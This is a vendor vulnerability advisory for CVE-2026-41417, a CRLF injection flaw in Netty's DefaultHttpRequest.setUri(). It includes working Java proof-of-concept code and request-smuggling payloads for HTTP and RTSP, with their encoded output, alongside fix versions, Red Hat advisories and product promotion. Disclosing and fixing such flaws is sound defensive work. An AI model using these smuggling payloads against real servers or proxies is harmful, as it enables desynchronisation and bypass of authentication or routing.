CVE-2026-41417 — netty-codec-http
MEDIUMCVE-2026-41417 is a medium-severity (CVSS 5.3) CWE-93 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.
Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41417.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-41417 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
io.netty:netty-codec-http☕io.netty:netty-codec-httpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
Details
The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
io.netty.handler.codec.http.DefaultHttpRequest- The constructor calls
HttpUtil.validateRequestLineTokens(method, uri) setUri(String uri)only performscheckNotNulland does not validate
- The constructor calls
io.netty.handler.codec.http.DefaultFullHttpRequestsetUri(String uri)delegates to the parent implementation
io.netty.handler.codec.http.HttpRequestEncoder- Writes
request.uri()directly into the request line
- Writes
io.netty.handler.codec.rtsp.RtspEncoder- Writes
request.uri()directly into the request line
- Writes
This creates the following bypass:
- An application creates a
DefaultHttpRequestorDefaultFullHttpRequestwith a safe URI - Later, attacker-influenced input is passed into
setUri() HttpRequestEncoderorRtspEncoderencodes that value verbatim- The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
PoC (HTTP)
The following code first creates a normal request object and then injects a malicious request line using setUri().
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by HttpServerCodec ===");
server.writeInbound(outbound.retainedDuplicate());
Object msg;
while ((msg = server.readInbound()) != null) {
System.out.println(msg);
}
outbound.release();
client.finishAndReleaseAll();
server.finishAndReleaseAll();
}
}
When reproduced, the raw encoded request looks like this:
GET /s1 HTTP/1.1
POST /s2 HTTP/1.1
content-length: 11
Hello WorldGET /s1 HTTP/1.1
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
GET /s1POST /s2with bodyHello World- trailing
GET /s1
This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
PoC (RTSP)
The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest(
RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
"CSeq: 1\r\n\r\n" +
"DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
"CSeq: 2\r\n\r\n" +
"OPTIONS rtsp://cam/final");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded RTSP request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by RtspDecoder ===");
server.writeInbound(outbound.retainedDuplicate());
}
}
When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:
OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1
DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2
OPTIONS rtsp://cam/final RTSP/1.0
RtspDecoder then parses this as three separate RTSP requests:
OPTIONS rtsp://cam/streamDESCRIBE rtsp://cam/secretOPTIONS rtsp://cam/final
This confirms that the same setter bypass is exploitable for RTSP request injection as well.
Impact
The vulnerable conditions are:
- The application uses
DefaultHttpRequestorDefaultFullHttpRequest - The request object is created first and later modified through
setUri() - The value passed into
setUri()is attacker-controlled or attacker-influenced - The object is eventually serialized by
HttpRequestEncoderorRtspEncoder
Under those conditions, an attacker may be able to:
- perform HTTP request smuggling
- trigger proxy/backend desynchronization
- inject additional requests toward internal APIs
- confuse request boundaries and bypass assumptions around authentication or routing
- inject RTSP requests
The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.
Root Cause
Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.
As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.
Suggested Fix Direction
DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.
Recommended regression coverage:
- verify that
setUri()rejects CRLF-containing input after object construction - verify that
DefaultFullHttpRequest.setUri()is blocked as well - verify that spaces,
\r,\n, and request-smuggling payloads are rejected - verify that both
HttpRequestEncoderandRtspEncoderare protected from setter-based bypasses
Affected Area
netty-codec-httpio.netty.handler.codec.http.DefaultHttpRequestio.netty.handler.codec.http.DefaultFullHttpRequestio.netty.handler.codec.http.HttpRequestEncoderio.netty.handler.codec.rtsp.RtspEncoder
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-http | all versions | 4.1.133.Finalio.netty:netty-codec-http:4.1.133.Final |
| ☕Maven | io.netty:netty-codec-http | ≥ 4.2.0.Alpha1&&< 4.2.13.Final | 4.2.13.Finalio.netty:netty-codec-http:4.2.13.Final |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-http to 4.1.133.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41417 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41417 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41417. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-41417 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat JBoss Enterprise Application Platform 7.4.25 | io.netty/netty-codec-http:4.1.135.Final-redhat-00001 | RHSA-2026:53806 |
| Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7 | eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el7eap | RHSA-2026:53644 |
| Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 8 | eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el8eap | RHSA-2026:53645 |
| Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 9 | eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el9eap | RHSA-2026:53646 |
Frequently Asked Questions
Is CVE-2026-41417 in your dependencies?
O3 Security finds CVE-2026-41417 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.